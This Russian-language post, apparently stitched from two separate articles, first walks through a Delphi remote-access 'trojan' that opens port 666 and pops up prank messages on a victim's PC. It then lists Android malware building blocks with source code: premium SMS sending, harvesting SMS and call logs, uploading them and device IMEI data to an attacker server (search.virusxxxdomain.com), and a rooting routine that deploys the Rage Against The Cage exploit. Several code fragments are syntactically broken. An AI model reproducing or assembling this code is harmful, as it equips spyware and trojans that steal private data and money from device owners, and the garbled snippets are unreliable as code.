Образцы вирусов с исходным кодом. Часть 1

Образцы вирусов с исходным кодом. Часть 1

Life-Hack [Жизнь-Взлом]/Хакинг

#Обучение

Если Вам интересно посмотреть, как пишутся «Программы сервер – клиент» и как они работают на реальном примере, предлагаю прочитать пост до конца. Будет интересно!

Пример программы я решил писать на Delphi! Так как, это проще и хорошо подходит для маленького, но реального примера. Что касается грозного слова «» которое я упомянул выше, то тут, получается действительно, самый настоящий троян, но с малым и безобидным функционалом.

Вы узнаете, по какому принципу пишутся «» и как они работают изнутри! Но, есть одно «НО» Трояны не пишут, так как – это будет описано ниже. Поскольку в нашем примере, «Серверная » часть программы будет много весить (Это не приемлемо для реального трояна ), и мы не будет её скрывать в системе. В реальном, «Вредоносном ПО» дела обстоят немного по другому.

Серверную часть программы стараются разработать с малым размером, ну примерно «100 КБ» Плюс — минус сколько-то КБ. И скрывают её в системе, так, что искать её придется долго!…

Но все ровно, принцип разработки один! И данный пример идеально подойдёт для понимания, как работаю программы по принципу «Сервер — Клиент» Просто у нас не правильный тон разработки трояна, а оно нам надо? Правильно. НЕТ!!! Мы же хорошие ребята и хулиганить не собираемся!

Как работают программы по принципу «Сервер – Клиент»

Просто и в двух словах картина выглядит вот так: Вы на своём компьютере запускаете «Клиентскую » часть программы, как правило, она имеет «GUI» то есть интерфейс пользователя (Если клиент не консольный)

На компьютере, к которому вы желаете получить доступ, запускается «Серверная » часть программы, она же открывает определённый порт на чужом компьютере и не видна в системе.

Через этот порт происходит соединения, Вы в клиенте указываете порт и IPадрес компьютера, на котором запущен сервер, подключаетесь к серверу и можете спокойно выполнять какие-то действия на чужом ПК со своего компьютера! Ещё можно прочитать мой прошлый пост и узнать:

Надеюсь, что здесь объяснил, вроде как понятно и простым человеческим языком! Если что-то не ясно, дальше, на примере все станет ясно! Далее давайте определимся, какие действия буду выполняться на удалённом ПК вследствие работы нашего маленького трояна!

Какой функционал в данном примере программы Сервер – Клиент.

Честно сказать, на этом этапе, когда размышлял, что бы показать я как-то замешкался и не как не мог придумать, что-то интересное! В общем пусть будет функционал из одной возможности и до жути простой:

— Пользователь будет получать Ваше сообщение.

Не вижу смысла добавлять какие-то другие возможности. Так как, считаю, что для примера и понимание этого вполне достаточно. Так же, думаю, не стоит писать много кода, то, что имеется ниже, то же достаточно, что бы посмотреть на программу изнутри!

А за место сообщение может быть все что угодно, зависит от фантазии человека решившего написать троян и от его знаний в программировании.

Ну, а у нас будет такой прикол! Человек, сидя за компьютером, неожиданно получит сообщение, например

«Привет, я шастаю по твоему компу »

представляете реакцию человека? Думаю это смешно, было бы увидеть его выражение лица!!!

Разработка программы по принципу «Сервер – Клиент»

Приступаем к самому интересному! И начнём мы с разработки самого «Сервера » после чего напишем под него клиент! Я не буду объяснять код программы, просто, буду приводить примеры, все же у меня не блог по программированию, да и цель поста показать поэтапно процесс разработки подобных программ по типу «Сервер – Клиент»

Разработка Сервера! 

Изначально, нужно научить «Сервер» открывать какой-то порт на компьютере, дабы в дальнейшем иметь возможность подключиться к нему из «Клиента» а уже после научим принимать команды и выполнять какие-то действия на ПК.

Откроем порт следующим кодом, который до боли прост:

Delphi/Pascal 

procedure TForm1.FormCreate(Sender: TObject);
begin ServerSocket1.Port:= 666;
ServerSocket1.Active:= true;
end;

Теперь если запустить программу появится просто, пустое окно без всяких кнопок и прочих элементов. И самое главное, на компьютере будет открыт порт с номером «666» Именно на этот порт в дальнейшем будем отправлять команды на сервер, и он в свою очередь будет их обрабатывать.

А пока убедимся, что сервер работает и порт открыт, вспоминаем команду «netstat» и смотрим результат.

Как видим на компьютере, вследствие запуска нашей программы действительно был открыт порт с номером «666» Это говорит только ободном, программа работает, и пришла пора научить «Сервер » принимать сообщение.

Delphi/Pascal 

procedure TForm1 . ServerSocket1ClientRead (Sender : TObject ;
Socket : TCustomWinSocket ) ;
komm : string ;
Begin
komm := socket . ReceiveText ;
if copy (komm , 1 , 12 ) ="MESSAGE_TEXT" then
begin
Delete (komm , 1 , 12 ) ;
ShowMessage (komm ) ;
end ;
end ; 

ут дела обстоят следующие образом! Если серверу придёт команда с названием «MESSAGE_TEXT» (Название может быть любое ) то сработает процедура «ShowMessage» и покажет сообщение, которое пришло вмести с командой и хранится в строковой переменной «komm»

Соответственно текст сообщение будем набирать в «Клиенте » и он может быть любого содержание!

В прочем, на этом разработка «Серверной » части закончена. В итоге у нас получился файлик «Server.exe » и пока отложим его в сторону до того момента пока не напишем «Клиент »

Разработка Клиента! 

Клиент у нас будет по понятным причинам с графическим интерфейсом пользователя (GUI) и должен иметь элементы управление, кнопки и поля ввода. У меня получился вот такой вид программы:

Определимся со всеми элементами! Хотя и так понят но, как говорится, на всякий случай поясню.

— IP : Поля для ввода IPкомпьютера, где запущен сервер.

— Port : Указываем номер порта на котором висит сервер.

— Подключится : Кнопка для подключения к серверу.

— Текст сообщение : Поле для ввода сообщение, которое нужно отправить.

— Отправить сообщение… : Соответственно кнопка для отправки сообщение.

— Статус соединение : Тут мы узнаем, подключились или нет!

Delphi/Pascal 

procedure TForm1 . Button1Click (Sender : TObject ) ;
begin
ClientSocket . Host : =IP . Text ;
ClientSocket . Port : =StrToInt (Port . Text ) ;
ClientSocket . Open ;
end ; 

Можно уже прям сейчас, запустить программу, и попробовать подключиться к «Серверу » но мы не узнаем результат, подключились или нет. Перед проверкой исправим это и научим программу показывать результат соединение.

Delphi/Pascal 

procedure TForm1.ClientSocketConnect(Sender: TObject; Socket: TCustomWinSocket); begin Label4.Caption:= ("Удалось выполнить подключение к: " + IP.Text); Label4.Font.Color:= clGreen; end;

И на тот случай, если все токи не удалось подключиться к серверу, например потому-что «Сервер » на удалённом ПК не запущен и соответственно порт «666» закрыт.

Delphi/Pascal 

procedure TForm1 . ClientSocketError (Sender : TObject ; Socket : TCustomWinSocket ;
ErrorEvent : TErrorEvent ; var ErrorCode : Integer ) ;
begin
If ErrorCode =10061 then
begin
ClientSocket . Active : =False ;
Label4 . Font . Color : =clRed ;
Label4 . Caption : =("НЕУдалосьвыполнитьподключениек:" +IP . Text ) ;
ErrorCode : =0 ;
end ;
end ; 

Теперь смотрим, как работает программа. Для начала запускаем клиент, но не запускаем сервер, что бы проверить, будет ли выведено сообщением о том, что подключится, не удалось.

В коллекции вредоносных Android-приложений некоторых антивирусных лабораторий содержится уже более 10 миллионов образцов. Эта цифра будоражит воображение, но примерно 9 миллионов 995 тысяч из них - переименованные копии оригинальных вирусов. Но если проанализировать исходный код оставшихся нескольких тысяч образцов малвари, то можно заметить, что все они комбинируются из небольшого количества уникальных функциональных блоков (несколько видоизмененных и по-разному скомбинированных).  

Все дело в том, что вирмэйкеры чаще всего преследуют весьма тривиальные задачи:

  • отправить эсэмэску на платный номер;
  • завладеть конфиденциальной информацией пользователя (телефонными номерами, текстами сообщений, данными с SD-карты и так далее);
  • собрать данные о зараженном устройстве;
  • завладеть администраторскими правами на устройстве (для установки приложений без разрешения владельца или для злонамеренного выведения аппарата из строя);
  • отследить логины, пароли и данные платежных карт, которые пользователь вводит на сайтах систем интернет-банкинга. Как они это делают? Попробуем проникнуть в мрачный мир мобильного вирмэйкинга и посмотреть, что там происходит.

Кто использует: 

  • AdSms;
  • FakePlayer;
  • HippoSms.

Самым распространенным типом вирусов являются SMS-трояны. Эти вирусы просто отправляют сообщения на платные номера без согласия пользователя. Создать такую программу или переписать готовую под нужный номер совсем легко. Да и процесс получения выгоды предельно упрощен - в отличие, например, от отслеживания банковских данных. 

Далее приведен простейший пример кода. Это элементарная функция отправки SMS. Ее можно усложнить проверкой статуса отправки, выбором номеров в зависимости от места положения абонента и последующим удалением SMS.

Private static SendSms (String DestNumber, String SmsText) { // Попытка запуска метода sendTextMessage объекта SmsManager (стандартная программа для отправки SMS у текущего устройства) с минимальным количеством параметров: номер получателя и текст сообщения try{ SmsManager.getDefault().sendTextMessage(DestNumber,null,SmsText,null,null); return true; } } 

Где искать код вируса 

В абсолютном большинстве случаев заражение телефона происходит через установку приложений. Любое приложение для Android существует в виде файла с расширением apk, который, по сути, является архивом. Просмотреть его содержимое можно с помощью Android SDK, конвертера файлов APK в JAR и декомпилятора Java-байт-кода. Сборка приложения (APK) состоит из следующих частей: 

  • resources.arsc - таблица ресурсов;
  • res (папка) - собственно ресурсы (иконки и прочее);
  • META-INF (папка) - содержит файлы со следующим содержимым: контрольные суммы ресурсов, сертификат приложения и описание сборки APK;
  • AndroidManifest.xml - всякого рода служебная информация. В том числе разрешения (permission), которые приложение запрашивает перед установкой для своей корректной работы;
  • classes.dex - ты наверняка слышал, что в Android операционных системах весь код выполняется с помощью Dalvik virtual machine (начиная с версии 4.4 появляется поддержка ART), которая не понимает обычный Java-байт-код. Поэтому и существуют файлы с расширением dex. В нем, наряду с нужными и полезными классами (которые отвечают за функционал приложения), содержатся также и вредоносные (вирусный код, который мы разбираем в этой статье).

Запись пользовательской информации в текстовый файл 

Кто использует: 

  • NickySpy;
  • SmsSpy.

Существует категория вирусов, которая охотится за персональными данными пользователей. Механизм их действия также несложен. Они либо загружают на сервер своего создателя файлы юзера, либо предварительно собирают какие-либо данные в txt (CSV, XML - не принципиально). Интерес для злоумышленников могут представлять контакты любого типа, сообщения из разных мессенджеров, медиафайлы и прочее. 

SMS зараженных юзеров особенно ценны номерами телефонов отправителей и получателей - ими можно пополнить базу для спам-рассылок. Реже вирусы такого рода используются для заражения устройств конкретных личностей - в следующий раз, когда твоя девушка предложит тебе протестировать написанное ей (ай, карамба! - Прим. ред.) приложение на Android, не теряй бдительности:).

// Считаем количество SMS на устройстве arrayOfObject = (Object)localBundle.get("pdus"); int j=arrayOfObject.length; // Обходим по циклу каждую SMS i=1 while (true) { if(i>=j) break; // Создаем объект SMS-сообщение SmsMessage localSmsMessage=SmsMessage.createFrompdu((byte)arrayOfObject[i]); // Кладем в строковые переменные номер отправителя, текст и время отправки SMS String MessageNumber = localSmsMessage.getOriginatingAddress(); String MessageText = localSmsMessage.getDisplayMessageBody(); long l= localSmsMessage.getTimestampMillis(); Date localDate=new Date(l); String MessageTimeDate = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(localDate); // Формируем из полученных данных строку и записываем ее в текстовый файл пользовательским методом WriteRec String MessageInfo= 7MessageNumber+"#"+ MessageText+"#"+ MessageTimeDate+";" WriteRec(paramContext,"sms.txt",MessageInfo); // Переходим к следующему сообщению i+=1; } Также спам-лист удобно пополнять из истории вызовов абонента. Вот такой код может запускаться при входящем звонке: If (parmIntent.getAction().equals("android.intent.action.NEW_OUTGOING_CALL")) { // Кладем в переменную номер абонента String phonenumber=paramIntent.getStringExtra("android.intent.extra.PHONE_NUMBER"); // Формируем строку из номера и даты звонка String PhoneCallRecord= phonenumber +"#"+getSystemTime(); // Вызываем метод WriteRec() (его код здесь не приводится), который добавляет строку в текстовый файл с историей звонков WriteRec(paramContext,"phonecall.txt", PhoneCallRecord); } 

После того как информация записана, она переправляется в «нужные руки». Приведенный ниже код загружает историю звонков на сервер:

Private void uploadPhonecallHistory() throws IDException { while(true) { return; // Проверяем, есть ли нужный нам файл if(!fileIsExists(/data/data/spyapp.pg/files/phonecall.txt")) continue; // Создаем объект - загрузчик файлов UploadFiles localUploadFiles=new UploadFiles(); String uploadkeynode=getKeyNode("uid","uid_v"); // Запускаем метод.advanceduploadfile (его код здесь не приводится) для загрузки файла на сервер «вирусмейкера» localUploadFiles.advanceduploadfile(uploadkeynode,"/data/data/spyapp.pg/files/phonecall.txt"); } } 

Сбор информации 

Кто использует: 

  • DroidKungFu;
  • DroidDream;
  • подавляющее большинство малвари всех аналогичных.

В принципе, любому вирусмейкеру полезна информация о зараженных его программами устройствах. Получить ее очень просто. Создается массив с данными о свойствах телефона (их полный список можно посмотреть в руководстве Android-разработчика) и отправляется POST-запросом к PHP-скрипту (язык непринципиален) на сервере злоумышленника, тот обрабатывает данные и помещает их в базу данных для последующего использования.

Private void reportState(int paramInt, string paramString) { // Создаем массив и кладем в него служебную информацию ArrayList UserInformation=new ArrayList(); UserInformation.add(new BasicNameValuePair("imei", this.mImei)); UserInformation.add(new BasicNameValuePair("taskid", this.mTaskId)); UserInformation.add(new BasicNameValuePair("state", Integer.toString(paramInt))); // Если у функции определен параметр «paramString(комментарий)», кладем в массив и его if(paramStrng !=null)&&(!"".equals(paramString))) UserInformation.add(new BasicNameValuePair("comment", paramString)); // Создаем HTTP POST запрос с адресом скрипта, который осуществляет сбор данных HttpPost localHttpPost = new HttpPost("http://search.virusxxxdomain.com:8511/search/rtpy.php"); try { // Добавляем в запрос наш массив с данными и выполняем его с помощью стандартного HTTP-клиента localHttpPost.setEntity(new UrlEncodeFormEntity(UserInformation, "UTF-8"))); new DefaultHttpClient().execute(localHttpPost).getStatusLine.getStatusCode(); return; } } 

Рутинг 

Кто использует: 

  • DroidKungFu;
  • DroidDream;
  • RootSmart.

Одна из самых неприятных вещей, которая может произойти с Android-устройством, - это его рутинг вирусом. Ведь после этого зловредная программа может делать с ним что угодно: устанавливать другие вирусы, менять настройки аппаратного обеспечения. Совершается это действо путем последовательного запуска эксплойтов:

Private void RootFunc() { ApplicationInfo localApplicationInfo =getApplicationInfo(); /*"ratc" - это копия знаменитого root-эксплойта Rage Against The Cage. Kiall - остановка всех процессов, запущенных текущим приложением. Gjsvro - эксплойт для приобретения прав udev (используются в Linux-системах для расширенной работы с аппаратным обеспечением и сетевыми интерфейсами). Все это копируем в нужное место */ Utils.copyAssets(this,"ratc","/data/data"+localApplicationInfo.packageName + "/ratc"); Utils.copyAssets(this,"killall","/data/data"+localApplicationInfo.packageName + "/killall"); Utils.copyAssets(this,"gjsvro","/data/data"+localApplicationInfo.packageName + "/gjsvro"); //И запускаем с помощью командной строки Utils.oldrun("/system/bin/chmod", "4755 /data/data"+localApplicationInfo.packageName + "/ratc"); Utils.oldrun("/system/bin/chmod", "4755 /data/data"+localApplicationInfo.packageName + "/killall"); Utils.oldrun("/system/bin/chmod", "4755 /data/data"+localApplicationInfo.packageName + "/gjsvro"); new MyTread.start(); } 

Продолжение следует…

Источник

Report Page